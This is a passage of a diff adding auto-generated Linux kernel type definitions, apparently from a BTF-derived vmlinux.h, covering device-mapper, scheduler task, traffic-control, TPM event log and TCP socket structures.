+}; + +struct sysv_shm { + struct list_head shm_clist; +}; + +struct table_device { + struct list_head list; + refcount_t count; + struct dm_dev dm_dev; +}; + +struct taint_flag { + char c_true; + char c_false; + bool module; + const char *desc; +}; + +struct tally_counter { + __le64 tx_packets; + __le64 rx_packets; + __le64 tx_errors; + __le32 rx_errors; + __le16 rx_missed; + __le16 align_errors; + __le32 tx_one_collision; + __le32 tx_multi_collision; + __le64 rx_unicast; + __le64 rx_broadcast; + __le32 rx_multicast; + __le16 tx_aborted; + __le16 tx_underrun; +}; + +typedef int (*dm_ctr_fn)(struct dm_target *, unsigned int, char **); + +typedef void (*dm_dtr_fn)(struct dm_target *); + +typedef int (*dm_map_fn)(struct dm_target *, struct bio *); + +typedef int (*dm_clone_and_map_request_fn)(struct dm_target *, struct request *, union map_info *, struct request **); + +typedef void (*dm_release_clone_request_fn)(struct request *, union map_info *); + +typedef int (*dm_endio_fn)(struct dm_target *, struct bio *, blk_status_t *); + +typedef int (*dm_request_endio_fn)(struct dm_target *, struct request *, blk_status_t, union map_info *); + +typedef void (*dm_presuspend_fn)(struct dm_target *); + +typedef void (*dm_presuspend_undo_fn)(struct dm_target *); + +typedef void (*dm_postsuspend_fn)(struct dm_target *); + +typedef int (*dm_preresume_fn)(struct dm_target *); + +typedef void (*dm_resume_fn)(struct dm_target *); + +typedef void (*dm_status_fn)(struct dm_target *, status_type_t, unsigned int, char *, unsigned int); + +typedef int (*dm_message_fn)(struct dm_target *, unsigned int, char **, char *, unsigned int); + +typedef int (*dm_prepare_ioctl_fn)(struct dm_target *, struct block_device **); + +typedef int (*dm_report_zones_fn)(struct dm_target *); + +typedef int (*dm_busy_fn)(struct dm_target *); + +typedef int (*iterate_devices_callout_fn)(struct dm_target *, struct dm_dev *, sector_t, sector_t, void *); + +typedef int (*dm_iterate_devices_fn)(struct dm_target *, iterate_devices_callout_fn, void *); + +typedef void (*dm_io_hints_fn)(struct dm_target *, struct queue_limits *); + +typedef long (*dm_dax_direct_access_fn)(struct dm_target *, unsigned long, long, enum dax_access_mode, void **, pfn_t *); + +typedef int (*dm_dax_zero_page_range_fn)(struct dm_target *, unsigned long, size_t); + +typedef size_t (*dm_dax_recovery_write_fn)(struct dm_target *, unsigned long, void *, size_t, struct iov_iter *); + +struct target_type { + uint64_t features; + const char *name; + struct module *module; + unsigned int version[3]; + dm_ctr_fn ctr; + dm_dtr_fn dtr; + dm_map_fn map; + dm_clone_and_map_request_fn clone_and_map_rq; + dm_release_clone_request_fn release_clone_rq; + dm_endio_fn end_io; + dm_request_endio_fn rq_end_io; + dm_presuspend_fn presuspend; + dm_presuspend_undo_fn presuspend_undo; + dm_postsuspend_fn postsuspend; + dm_preresume_fn preresume; + dm_resume_fn resume; + dm_status_fn status; + dm_message_fn message; + dm_prepare_ioctl_fn prepare_ioctl; + dm_report_zones_fn report_zones; + dm_busy_fn busy; + dm_iterate_devices_fn iterate_devices; + dm_io_hints_fn io_hints; + dm_dax_direct_access_fn direct_access; + dm_dax_zero_page_range_fn dax_zero_page_range; + dm_dax_recovery_write_fn dax_recovery_write; + struct list_head list; +}; + +struct task_delay_info { + raw_spinlock_t lock; + u64 blkio_start; + u64 blkio_delay; + u64 swapin_start; + u64 swapin_delay; + u32 blkio_count; + u32 swapin_count; + u64 freepages_start; + u64 freepages_delay; + u64 thrashing_start; + u64 thrashing_delay; + u64 compact_start; + u64 compact_delay; + u64 wpcopy_start; + u64 wpcopy_delay; + u64 irq_delay; + u32 freepages_count; + u32 thrashing_count; + u32 compact_count; + u32 wpcopy_count; + u32 irq_count; +}; + +struct task_group { + struct cgroup_subsys_state css; + int idle; + struct sched_entity **se; + struct cfs_rq **cfs_rq; + unsigned long shares; + atomic_long_t load_avg; + u32 scx_flags; + u32 scx_weight; + struct callback_head rcu; + struct list_head list; + struct task_group *parent; + struct list_head siblings; + struct list_head children; + struct cfs_bandwidth cfs_bandwidth; +}; + +typedef struct task_struct *class_find_get_task_t; + +typedef struct task_struct *class_task_lock_t; + +struct thread_info { + unsigned long flags; + unsigned long syscall_work; + u32 status; + u32 cpu; +}; + +struct uclamp_se { + unsigned int value: 11; + unsigned int bucket_id: 3; + unsigned int active: 1; + unsigned int user_defined: 1; +}; + +struct vtime { + seqcount_t seqcount; + unsigned long long starttime; + enum vtime_state state; + unsigned int cpu; + u64 utime; + u64 stime; + u64 gtime; +}; + +struct wake_q_node { + struct wake_q_node *next; +}; + +struct tlbflush_unmap_batch { + struct arch_tlbflush_unmap_batch arch; + bool flush_required; + bool writable; +}; + +struct thread_struct { + struct desc_struct tls_array[3]; + unsigned long sp; + unsigned short es; + unsigned short ds; + unsigned short fsindex; + unsigned short gsindex; + unsigned long fsbase; + unsigned long gsbase; + struct perf_event *ptrace_bps[4]; + unsigned long virtual_dr6; + unsigned long ptrace_dr7; + unsigned long cr2; + unsigned long trap_nr; + unsigned long error_code; + struct io_bitmap *io_bitmap; + unsigned long iopl_emul; + unsigned int iopl_warn: 1; + u32 pkru; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct fpu fpu; +}; + +struct uprobe_task; + +struct task_struct { + struct thread_info thread_info; + unsigned int __state; + unsigned int saved_state; + void *stack; + refcount_t usage; + unsigned int flags; + unsigned int ptrace; + int on_cpu; + struct __call_single_node wake_entry; + unsigned int wakee_flips; + unsigned long wakee_flip_decay_ts; + struct task_struct *last_wakee; + int recent_used_cpu; + int wake_cpu; + int on_rq; + int prio; + int static_prio; + int normal_prio; + unsigned int rt_priority; + struct sched_entity se; + struct sched_rt_entity rt; + struct sched_dl_entity dl; + struct sched_dl_entity *dl_server; + struct sched_ext_entity scx; + const struct sched_class *sched_class; + struct rb_node core_node; + unsigned long core_cookie; + unsigned int core_occupation; + struct task_group *sched_task_group; + struct uclamp_se uclamp_req[2]; + struct uclamp_se uclamp[2]; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct sched_statistics stats; + unsigned int btrace_seq; + unsigned int policy; + unsigned long max_allowed_capacity; + int nr_cpus_allowed; + const cpumask_t *cpus_ptr; + cpumask_t *user_cpus_ptr; + cpumask_t cpus_mask; + void *migration_pending; + unsigned short migration_disabled; + unsigned short migration_flags; + int rcu_read_lock_nesting; + union rcu_special rcu_read_unlock_special; + struct list_head rcu_node_entry; + struct rcu_node *rcu_blocked_node; + unsigned long rcu_tasks_nvcsw; + u8 rcu_tasks_holdout; + u8 rcu_tasks_idx; + int rcu_tasks_idle_cpu; + struct list_head rcu_tasks_holdout_list; + int rcu_tasks_exit_cpu; + struct list_head rcu_tasks_exit_list; + int trc_reader_nesting; + int trc_ipi_to_cpu; + union rcu_special trc_reader_special; + struct list_head trc_holdout_list; + struct list_head trc_blkd_node; + int trc_blkd_cpu; + struct sched_info sched_info; + struct list_head tasks; + struct plist_node pushable_tasks; + struct rb_node pushable_dl_tasks; + struct mm_struct *mm; + struct mm_struct *active_mm; + struct address_space *faults_disabled_mapping; + int exit_state; + int exit_code; + int exit_signal; + int pdeath_signal; + unsigned long jobctl; + unsigned int personality; + unsigned int sched_reset_on_fork: 1; + unsigned int sched_contributes_to_load: 1; + unsigned int sched_migrated: 1; + long: 29; + unsigned int sched_remote_wakeup: 1; + unsigned int sched_rt_mutex: 1; + unsigned int in_execve: 1; + unsigned int in_iowait: 1; + unsigned int restore_sigmask: 1; + unsigned int no_cgroup_migration: 1; + unsigned int frozen: 1; + unsigned int use_memdelay: 1; + unsigned int in_memstall: 1; + unsigned int in_eventfd: 1; + unsigned int reported_split_lock: 1; + unsigned int in_thrashing: 1; + unsigned long atomic_flags; + struct restart_block restart_block; + pid_t pid; + pid_t tgid; + struct task_struct __attribute__((btf_type_tag("rcu"))) *real_parent; + struct task_struct __attribute__((btf_type_tag("rcu"))) *parent; + struct list_head children; + struct list_head sibling; + struct task_struct *group_leader; + struct list_head ptraced; + struct list_head ptrace_entry; + struct pid *thread_pid; + struct hlist_node pid_links[4]; + struct list_head thread_node; + struct completion *vfork_done; + int __attribute__((btf_type_tag("user"))) *set_child_tid; + int __attribute__((btf_type_tag("user"))) *clear_child_tid; + void *worker_private; + u64 utime; + u64 stime; + u64 gtime; + struct prev_cputime prev_cputime; + struct vtime vtime; + atomic_t tick_dep_mask; + unsigned long nvcsw; + unsigned long nivcsw; + u64 start_time; + u64 start_boottime; + unsigned long min_flt; + unsigned long maj_flt; + struct posix_cputimers posix_cputimers; + struct posix_cputimers_work posix_cputimers_work; + const struct cred __attribute__((btf_type_tag("rcu"))) *ptracer_cred; + const struct cred __attribute__((btf_type_tag("rcu"))) *real_cred; + const struct cred __attribute__((btf_type_tag("rcu"))) *cred; + struct key *cached_requested_key; + char comm[16]; + struct nameidata *nameidata; + struct sysv_sem sysvsem; + struct sysv_shm sysvshm; + unsigned long last_switch_count; + unsigned long last_switch_time; + struct fs_struct *fs; + struct files_struct *files; + struct io_uring_task *io_uring; + struct nsproxy *nsproxy; + struct signal_struct *signal; + struct sighand_struct __attribute__((btf_type_tag("rcu"))) *sighand; + sigset_t blocked; + sigset_t real_blocked; + sigset_t saved_sigmask; + struct sigpending pending; + unsigned long sas_ss_sp; + size_t sas_ss_size; + unsigned int sas_ss_flags; + struct callback_head *task_works; + struct seccomp seccomp; + struct syscall_user_dispatch syscall_dispatch; + u64 parent_exec_id; + u64 self_exec_id; + spinlock_t alloc_lock; + raw_spinlock_t pi_lock; + struct wake_q_node wake_q; + struct rb_root_cached pi_waiters; + struct task_struct *pi_top_task; + struct rt_mutex_waiter *pi_blocked_on; + struct mutex_waiter *blocked_on; + struct irqtrace_events irqtrace; + unsigned int hardirq_threaded; + u64 hardirq_chain_key; + int softirqs_enabled; + int softirq_context; + int irq_config; + u64 curr_chain_key; + int lockdep_depth; + unsigned int lockdep_recursion; + struct held_lock held_locks[48]; + void *journal_info; + struct bio_list *bio_list; + struct blk_plug *plug; + struct reclaim_state *reclaim_state; + struct io_context *io_context; + struct capture_control *capture_control; + unsigned long ptrace_message; + kernel_siginfo_t *last_siginfo; + struct task_io_accounting ioac; + unsigned int psi_flags; + u64 acct_rss_mem1; + u64 acct_vm_mem1; + u64 acct_timexpd; + nodemask_t mems_allowed; + seqcount_spinlock_t mems_allowed_seq; + int cpuset_mem_spread_rotor; + struct css_set __attribute__((btf_type_tag("rcu"))) *cgroups; + struct list_head cg_list; + struct robust_list_head __attribute__((btf_type_tag("user"))) *robust_list; + struct list_head pi_state_list; + struct futex_pi_state *pi_state_cache; + struct mutex futex_exit_mutex; + unsigned int futex_state; + u8 perf_recursion[4]; + struct perf_event_context *perf_event_ctxp; + struct mutex perf_event_mutex; + struct list_head perf_event_list; + struct mempolicy *mempolicy; + short il_prev; + u8 il_weight; + short pref_node_fork; + struct rseq __attribute__((btf_type_tag("user"))) *rseq; + u32 rseq_len; + u32 rseq_sig; + unsigned long rseq_event_mask; + int mm_cid; + int last_mm_cid; + int migrate_from_cpu; + int mm_cid_active; + struct callback_head cid_work; + struct tlbflush_unmap_batch tlb_ubc; + struct pipe_inode_info *splice_pipe; + struct page_frag task_frag; + struct task_delay_info *delays; + int nr_dirtied; + int nr_dirtied_pause; + unsigned long dirty_paused_when; + u64 timer_slack_ns; + u64 default_timer_slack_ns; + int curr_ret_stack; + int curr_ret_depth; + unsigned long *ret_stack; + unsigned long long ftrace_timestamp; + atomic_t trace_overrun; + atomic_t tracing_graph_pause; + unsigned long trace_recursion; + unsigned int memcg_nr_pages_over_high; + struct mem_cgroup *active_memcg; + struct obj_cgroup *objcg; + struct gendisk *throttle_disk; + struct uprobe_task *utask; + struct kmap_ctrl kmap_ctrl; + struct callback_head rcu; + refcount_t rcu_users; + int pagefault_disabled; + struct task_struct *oom_reaper_list; + struct timer_list oom_reaper_timer; + struct vm_struct *stack_vm_area; + refcount_t stack_refcount; + struct bpf_local_storage __attribute__((btf_type_tag("rcu"))) *bpf_storage; + struct bpf_run_ctx *bpf_ctx; + struct bpf_net_context *bpf_net_context; + struct llist_head kretprobe_instances; + struct llist_head rethooks; + struct callback_head l1d_flush_kill; + long: 64; + long: 64; + long: 64; + long: 64; + struct thread_struct thread; +}; + +struct task_struct__safe_rcu { + const cpumask_t *cpus_ptr; + struct css_set __attribute__((btf_type_tag("rcu"))) *cgroups; + struct task_struct __attribute__((btf_type_tag("rcu"))) *real_parent; + struct task_struct *group_leader; +}; + +struct tasklet_head { + struct tasklet_struct *head; + struct tasklet_struct **tail; +}; + +struct taskstats { + __u16 version; + __u32 ac_exitcode; + __u8 ac_flag; + __u8 ac_nice; + __u64 cpu_count; + __u64 cpu_delay_total; + __u64 blkio_count; + __u64 blkio_delay_total; + __u64 swapin_count; + __u64 swapin_delay_total; + __u64 cpu_run_real_total; + __u64 cpu_run_virtual_total; + char ac_comm[32]; + __u8 ac_sched; + __u8 ac_pad[3]; + long: 0; + __u32 ac_uid; + __u32 ac_gid; + __u32 ac_pid; + __u32 ac_ppid; + __u32 ac_btime; + __u64 ac_etime; + __u64 ac_utime; + __u64 ac_stime; + __u64 ac_minflt; + __u64 ac_majflt; + __u64 coremem; + __u64 virtmem; + __u64 hiwater_rss; + __u64 hiwater_vm; + __u64 read_char; + __u64 write_char; + __u64 read_syscalls; + __u64 write_syscalls; + __u64 read_bytes; + __u64 write_bytes; + __u64 cancelled_write_bytes; + __u64 nvcsw; + __u64 nivcsw; + __u64 ac_utimescaled; + __u64 ac_stimescaled; + __u64 cpu_scaled_run_real_total; + __u64 freepages_count; + __u64 freepages_delay_total; + __u64 thrashing_count; + __u64 thrashing_delay_total; + __u64 ac_btime64; + __u64 compact_count; + __u64 compact_delay_total; + __u32 ac_tgid; + __u64 ac_tgetime; + __u64 ac_exe_dev; + __u64 ac_exe_inode; + __u64 wpcopy_count; + __u64 wpcopy_delay_total; + __u64 irq_count; + __u64 irq_delay_total; +}; + +struct tbtt_info_iter_data { + const struct ieee80211_neighbor_ap_info *ap_info; + u8 param_ch_count; + u32 use_for; + u8 mld_id; + u8 link_id; + bool non_tx; +}; + +struct tc_cbs_qopt_offload { + u8 enable; + s32 queue; + s32 hicredit; + s32 locredit; + s32 idleslope; + s32 sendslope; +}; + +struct tc_etf_qopt_offload { + u8 enable; + s32 queue; +}; + +struct tc_mq_opt_offload_graft_params { + unsigned long queue; + u32 child_handle; +}; + +struct tc_qopt_offload_stats { + struct gnet_stats_basic_sync *bstats; + struct gnet_stats_queue *qstats; +}; + +struct tc_mq_qopt_offload { + enum tc_mq_command command; + u32 handle; + union { + struct tc_qopt_offload_stats stats; + struct tc_mq_opt_offload_graft_params graft_params; + }; +}; + +struct tc_prio_qopt { + int bands; + __u8 priomap[16]; +}; + +struct tc_query_caps_base { + enum tc_setup_type type; + void *caps; +}; + +struct tc_ratespec { + unsigned char cell_log; + __u8 linklayer; + unsigned short overhead; + short cell_align; + unsigned short mpu; + __u32 rate; +}; + +struct tc_skb_cb { + struct qdisc_skb_cb qdisc_cb; + u32 drop_reason; + u16 zone; + u16 mru; + u8 post_ct: 1; + u8 post_ct_snat: 1; + u8 post_ct_dnat: 1; +}; + +struct tc_taprio_caps { + bool supports_queue_max_sdu: 1; + bool gate_mask_per_txq: 1; + bool broken_mqprio: 1; +}; + +struct tcf_chain; + +struct tcf_block { + struct xarray ports; + struct mutex lock; + struct list_head chain_list; + u32 index; + u32 classid; + refcount_t refcnt; + struct net *net; + struct Qdisc *q; + struct rw_semaphore cb_lock; + struct flow_block flow_block; + struct list_head owner_list; + bool keep_dst; + bool bypass_wanted; + atomic_t filtercnt; + atomic_t skipswcnt; + atomic_t offloadcnt; + unsigned int nooffloaddevcnt; + unsigned int lockeddevcnt; + struct { + struct tcf_chain *chain; + struct list_head filter_chain_list; + } chain0; + struct callback_head rcu; + struct hlist_head proto_destroy_ht[128]; + struct mutex proto_destroy_lock; +}; + +struct tcf_proto_ops; + +struct tcf_chain { + struct mutex filter_chain_lock; + struct tcf_proto __attribute__((btf_type_tag("rcu"))) *filter_chain; + struct list_head list; + struct tcf_block *block; + u32 index; + unsigned int refcnt; + unsigned int action_refcnt; + bool explicitly_created; + bool flushing; + const struct tcf_proto_ops *tmplt_ops; + void *tmplt_priv; + struct callback_head rcu; +}; + +struct tcf_exts { + int action; + int police; +}; + +struct tcf_result; + +struct tcf_proto { + struct tcf_proto __attribute__((btf_type_tag("rcu"))) *next; + void __attribute__((btf_type_tag("rcu"))) *root; + int (*classify)(struct sk_buff *, const struct tcf_proto *, struct tcf_result *); + __be16 protocol; + u32 prio; + void *data; + const struct tcf_proto_ops *ops; + struct tcf_chain *chain; + spinlock_t lock; + bool deleting; + bool counted; + refcount_t refcnt; + struct callback_head rcu; + struct hlist_node destroy_ht_node; +}; + +struct tcf_walker; + +struct tcf_proto_ops { + struct list_head head; + char kind[16]; + int (*classify)(struct sk_buff *, const struct tcf_proto *, struct tcf_result *); + int (*init)(struct tcf_proto *); + void (*destroy)(struct tcf_proto *, bool, struct netlink_ext_ack *); + void * (*get)(struct tcf_proto *, u32); + void (*put)(struct tcf_proto *, void *); + int (*change)(struct net *, struct sk_buff *, struct tcf_proto *, unsigned long, u32, struct nlattr **, void **, u32, struct netlink_ext_ack *); + int (*delete)(struct tcf_proto *, void *, bool *, bool, struct netlink_ext_ack *); + bool (*delete_empty)(struct tcf_proto *); + void (*walk)(struct tcf_proto *, struct tcf_walker *, bool); + int (*reoffload)(struct tcf_proto *, bool, flow_setup_cb_t *, void *, struct netlink_ext_ack *); + void (*hw_add)(struct tcf_proto *, void *); + void (*hw_del)(struct tcf_proto *, void *); + void (*bind_class)(void *, u32, unsigned long, void *, unsigned long); + void * (*tmplt_create)(struct net *, struct tcf_chain *, struct nlattr **, struct netlink_ext_ack *); + void (*tmplt_destroy)(void *); + void (*tmplt_reoffload)(struct tcf_chain *, bool, flow_setup_cb_t *, void *); + struct tcf_exts * (*get_exts)(const struct tcf_proto *, u32); + int (*dump)(struct net *, struct tcf_proto *, void *, struct sk_buff *, struct tcmsg *, bool); + int (*terse_dump)(struct net *, struct tcf_proto *, void *, struct sk_buff *, struct tcmsg *, bool); + int (*tmplt_dump)(struct sk_buff *, struct net *, void *); + struct module *owner; + int flags; +}; + +struct tcf_result { + union { + struct { + unsigned long class; + u32 classid; + }; + const struct tcf_proto *goto_tp; + }; +}; + +struct tcf_walker { + int stop; + int skip; + int count; + bool nonempty; + unsigned long cookie; + int (*fn)(struct tcf_proto *, void *, struct tcf_walker *); +}; + +struct tcg_efi_specid_event_algs { + u16 alg_id; + u16 digest_size; +}; + +struct tcg_efi_specid_event_head { + u8 signature[16]; + u32 platform_class; + u8 spec_version_minor; + u8 spec_version_major; + u8 spec_errata; + u8 uintnsize; + u32 num_algs; + struct tcg_efi_specid_event_algs digest_sizes[0]; +}; + +struct tcg_event_field { + u32 event_size; + u8 event[0]; +}; + +struct tcg_pcr_event { + u32 pcr_idx; + u32 event_type; + u8 digest[20]; + u32 event_size; + u8 event[0]; +}; + +struct tpm_digest { + u16 alg_id; + u8 digest[64]; +}; + +struct tcg_pcr_event2_head { + u32 pcr_idx; + u32 event_type; + u32 count; + struct tpm_digest digests[0]; +}; + +struct tcmsg { + unsigned char tcm_family; + unsigned char tcm__pad1; + unsigned short tcm__pad2; + int tcm_ifindex; + __u32 tcm_handle; + __u32 tcm_parent; + __u32 tcm_info; +}; + +struct tcp_options_received { + int ts_recent_stamp; + u32 ts_recent; + u32 rcv_tsval; + u32 rcv_tsecr; + u16 saw_tstamp: 1; + u16 tstamp_ok: 1; + u16 dsack: 1; + u16 wscale_ok: 1; + u16 sack_ok: 3; + u16 smc_ok: 1; + u16 snd_wscale: 4; + u16 rcv_wscale: 4; + u8 saw_unknown: 1; + u8 unused: 7; + u8 num_sacks; + u16 user_mss; + u16 mss_clamp; +}; + +struct tcp_rack { + u64 mstamp; + u32 rtt_us; + u32 end_seq; + u32 last_delivered; + u8 reo_wnd_steps; + u8 reo_wnd_persist: 5; + u8 dsack_seen: 1; + u8 advanced: 1; +}; + +struct tcp_sack_block { + u32 start_seq; + u32 end_seq; +}; + +struct tcp_fastopen_request; + +struct tcp_sock { + struct inet_connection_sock inet_conn; + __u8 __cacheline_group_begin__tcp_sock_read_tx[0]; + u32 max_window; + u32 rcv_ssthresh; + u32 reordering; + u32 notsent_lowat; + u16 gso_segs; + struct sk_buff *lost_skb_hint; + struct sk_buff *retransmit_skb_hint; + __u8 __cacheline_group_end__tcp_sock_read_tx[0]; + __u8 __cacheline_group_begin__tcp_sock_read_txrx[0]; + u32 tsoffset; + u32 snd_wnd; + u32 mss_cache; + u32 snd_cwnd; + u32 prr_out; + u32 lost_out; + u32 sacked_out; + u16 tcp_header_len; + u8 scaling_ratio; + u8 chrono_type: 2; + u8 repair: 1; + u8 tcp_usec_ts: 1; + u8 is_sack_reneg: 1; + u8 is_cwnd_limited: 1; + __u8 __cacheline_group_end__tcp_sock_read_txrx[0]; + __u8 __cacheline_group_begin__tcp_sock_read_rx[0]; + u32 copied_seq; + u32 rcv_tstamp; + u32 snd_wl1; + u32 tlp_high_seq; + u32 rttvar_us; + u32 retrans_out; + u16 advmss; + u16 urg_data; + u32 lost; + struct minmax rtt_min; + struct rb_root out_of_order_queue; + u32 snd_ssthresh; + u8 recvmsg_inq: 1; + __u8 __cacheline_group_end__tcp_sock_read_rx[0]; + long: 64; + long: 64; + long: 64; + __u8 __cacheline_group_begin__tcp_sock_write_tx[0]; + u32 segs_out; + u32 data_segs_out; + u64 bytes_sent; + u32 snd_sml; + u32 chrono_start; + u32 chrono_stat[3]; + u32 write_seq; + u32 pushed_seq; + u32 lsndtime; + u32 mdev_us; + u32 rtt_seq; + u64 tcp_wstamp_ns; + struct list_head tsorted_sent_queue; + struct sk_buff *highest_sack; + u8 ecn_flags; + __u8 __cacheline_group_end__tcp_sock_write_tx[0]; + __u8 __cacheline_group_begin__tcp_sock_write_txrx[0]; + __be32 pred_flags; + u64 tcp_clock_cache; + u64 tcp_mstamp; + u32 rcv_nxt; + u32 snd_nxt; + u32 snd_una; + u32 window_clamp; + u32 srtt_us; + u32 packets_out; + u32 snd_up; + u32 delivered; + u32 delivered_ce; + u32 app_limited; + u32 rcv_wnd; + struct tcp_options_received rx_opt; + u8 nonagle: 4; + u8 rate_app_limited: 1; + __u8 __cacheline_group_end__tcp_sock_write_txrx[0]; + long: 0; + __u8 __cacheline_group_begin__tcp_sock_write_rx[0]; + u64 bytes_received; + u32 segs_in; + u32 data_segs_in; + u32 rcv_wup; + u32 max_packets_out; + u32 cwnd_usage_seq; + u32 rate_delivered; + u32 rate_interval_us; + u32 rcv_rtt_last_tsecr; + u64 first_tx_mstamp; + u64 delivered_mstamp; + u64 bytes_acked; + struct { + u32 rtt_us; + u32 seq; + u64 time; + } rcv_rtt_est; + struct { + u32 space; + u32 seq; + u64 time; + } rcvq_space; + __u8 __cacheline_group_end__tcp_sock_write_rx[0]; + u32 dsack_dups; + u32 compressed_ack_rcv_nxt; + struct list_head tsq_node; + struct tcp_rack rack; + u8 compressed_ack; + u8 dup_ack_counter: 2; + u8 tlp_retrans: 1; + u8 unused: 5; + u8 thin_lto: 1; + u8 fastopen_connect: 1; + u8 fastopen_no_cookie: 1; + u8 fastopen_client_fail: 2; + u8 frto: 1; + u8 repair_queue; + u8 save_syn: 2; + u8 syn_data: 1; + u8 syn_fastopen: 1; + u8 syn_fastopen_exp: 1; + u8 syn_fastopen_ch: 1; + u8 syn_data_acked: 1; + u8 keepalive_probes; + u32 tcp_tx_delay; + u32 mdev_max_us; + u32 reord_seen; + u32 snd_cwnd_cnt; + u32 snd_cwnd_clamp; + u32 snd_cwnd_used; + u32 snd_cwnd_stamp; + u32 prior_cwnd; + u32 prr_delivered; + u32 last_oow_ack_time; + struct hrtimer pacing_timer; + struct hrtimer compressed_ack_timer; + struct sk_buff *ooo_last_skb; + struct tcp_sack_block duplicate_sack[1]; + struct tcp_sack_block selective_acks[4]; + struct tcp_sack_block recv_sack_cache[4]; + int lost_cnt_hint; + u32 prior_ssthresh; + u32 high_seq; + u32 retrans_stamp; + u32 undo_marker; + int undo_retrans; + u64 bytes_retrans; + u32 total_retrans; + u32 rto_stamp; + u16 total_rto; + u16 total_rto_recoveries; + u32 total_rto_time; + u32 urg_seq; + unsigned int keepalive_time; + unsigned int keepalive_intvl; + int linger2; + u8 bpf_sock_ops_cb_flags; + u8 bpf_chg_cc_inprogress: 1; + u16 timeout_rehash; + u32 rcv_ooopack; + struct { + u32 probe_seq_start; + u32 probe_seq_end; + } mtu_probe; + u32 plb_rehash; + u32 mtu_info; + struct tcp_fastopen_request *fastopen_req; + struct request_sock __attribute__((btf_type_tag("rcu"))) *fastopen_rsk; + struct saved_syn *saved_syn; + long: 64; +}; + +struct tcp6_sock { + struct tcp_sock tcp; + struct ipv6_pinfo inet6; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +union tcp_ao_addr { + struct in_addr a4; + struct in6_addr a6; +}; + +struct tcp_ao_hdr { + u8 kind; + u8 length; + u8 keyid; + u8 rnext_keyid; +}; + +struct tcp_ao_key { + struct hlist_node node; + union tcp_ao_addr addr; + u8 key[80]; + unsigned int tcp_sigpool_id; + unsigned int digest_size; + int l3index; + u8 prefixlen; + u8 family; + u8 keylen; + u8 keyflags; + u8 sndid; + u8 rcvid; + u8 maclen; + struct callback_head rcu; + atomic64_t pkt_good; + atomic64_t pkt_bad; + u8 traffic_keys[0]; +}; + +struct tcp_bbr_info { + __u32 bbr_bw_lo; + __u32 bbr_bw_hi; + __u32 bbr_min_rtt; + __u32 bbr_pacing_gain; + __u32 bbr_cwnd_gain; +}; + +struct tcpvegas_info { + __u32 tcpv_enabled; + __u32 tcpv_rttcnt; + __u32 tcpv_rtt; + __u32 tcpv_minrtt; +}; + +struct tcp_dctcp_info { + __u16 dctcp_enabled; + __u16 dctcp_ce_state; + __u32 dctcp_alpha; + __u32 dctcp_ab_ecn; + __u32 dctcp_ab_tot; +}; + +union tcp_cc_info { + struct tcpvegas_info vegas; + struct tcp_dctcp_info dctcp; + struct tcp_bbr_info bbr; +}; + +struct tcp_fastopen_context { + siphash_key_t key[2]; + int num; + struct callback_head rcu; +}; + +struct tcp_fastopen_cookie { + __le64 val[2]; + s8 len; + bool exp; +}; + +struct tcp_fastopen_metrics { + u16 mss; + u16 syn_loss: 10; + u16 try_exp: 2; + unsigned long last_syn_loss; + struct tcp_fastopen_cookie cookie; +}; + +struct tcp_fastopen_request { + struct tcp_fastopen_cookie cookie; + struct msghdr *data; + size_t size; + int copied; + struct ubuf_info *uarg; +}; + +struct tcp_info { + __u8 tcpi_state; + __u8 tcpi_ca_state; + __u8 tcpi_retransmits; + __u8 tcpi_probes; + __u8 tcpi_backoff; + __u8 tcpi_options; + __u8 tcpi_snd_wscale: 4; + __u8 tcpi_rcv_wscale: 4; + __u8 tcpi_delivery_rate_app_limited: 1; + __u8 tcpi_fastopen_client_fail: 2; + __u32 tcpi_rto; + __u32 tcpi_ato; + __u32 tcpi_snd_mss; + __u32 tcpi_rcv_mss; + __u32 tcpi_unacked; + __u32 tcpi_sacked; + __u32 tcpi_lost; + __u32 tcpi_retrans; + __u32 tcpi_fackets; + __u32 tcpi_last_data_sent; + __u32 tcpi_last_ack_sent; + __u32 tcpi_last_data_recv; + __u32 tcpi_last_ack_recv; + __u32 tcpi_pmtu; + __u32 tcpi_rcv_ssthresh; + __u32 tcpi_rtt; + __u32 tcpi_rttvar; + __u32 tcpi_snd_ssthresh; + __u32 tcpi_snd_cwnd; + __u32 tcpi_advmss; + __u32 tcpi_reordering; + __u32 tcpi_rcv_rtt; + __u32 tcpi_rcv_space; + __u32 tcpi_total_retrans; + __u64 tcpi_pacing_rate; + __u64 tcpi_max_pacing_rate; + __u64 tcpi_bytes_acked; + __u64 tcpi_bytes_received; + __u32 tcpi_segs_out; + __u32 tcpi_segs_in; + __u32 tcpi_notsent_bytes; + __u32 tcpi_min_rtt; + __u32 tcpi_data_segs_in; + __u32 tcpi_data_segs_out; + __u64 tcpi_delivery_rate; + __u64 tcpi_busy_time; + __u64 tcpi_rwnd_limited; + __u64 tcpi_sndbuf_limited; + __u32 tcpi_delivered; + __u32 tcpi_delivered_ce; + __u64 tcpi_bytes_sent; + __u64 tcpi_bytes_retrans; + __u32 tcpi_dsack_dups; + __u32 tcpi_reord_seen; + __u32 tcpi_rcv_ooopack; + __u32 tcpi_snd_wnd; + __u32 tcpi_rcv_wnd; + __u32 tcpi_rehash; + __u16 tcpi_total_rto; + __u16 tcpi_total_rto_recoveries; + __u32 tcpi_total_rto_time; +}; + +struct tcp_md5sig_key; + +struct tcp_key { + union { + struct { + struct tcp_ao_key *ao_key; + char *traffic_key; + u32 sne; + u8 rcv_next; + }; + struct tcp_md5sig_key *md5_key; + }; + enum { + TCP_KEY_NONE = 0, + TCP_KEY_MD5 = 1, + TCP_KEY_AO = 2, + } type; +}; + +struct tcp_md5sig_key { + struct hlist_node node; + u8 keylen; + u8 family; + u8 prefixlen; + u8 flags; + union tcp_ao_addr addr; + int l3index; + u8 key[80]; + struct callback_head rcu; +}; + +struct tcp_metrics_block { + struct tcp_metrics_block __attribute__((btf_type_tag("rcu"))) *tcpm_next; + struct net *tcpm_net; + struct inetpeer_addr tcpm_saddr; + struct inetpeer_addr tcpm_daddr; + unsigned long tcpm_stamp; + u32 tcpm_lock; + u32 tcpm_vals[5]; + struct tcp_fastopen_metrics tcpm_fastopen; + struct callback_head callback_head; +}; + +struct tcp_mib { + unsigned long mibs[16]; +}; + +struct tcp_out_options { + u16 options; + u16 mss; + u8 ws; + u8 num_sack_blocks; + u8 hash_size; + u8 bpf_opt_len; + __u8 *hash_location; + __u32 tsval; + __u32 tsecr; + struct tcp_fastopen_cookie 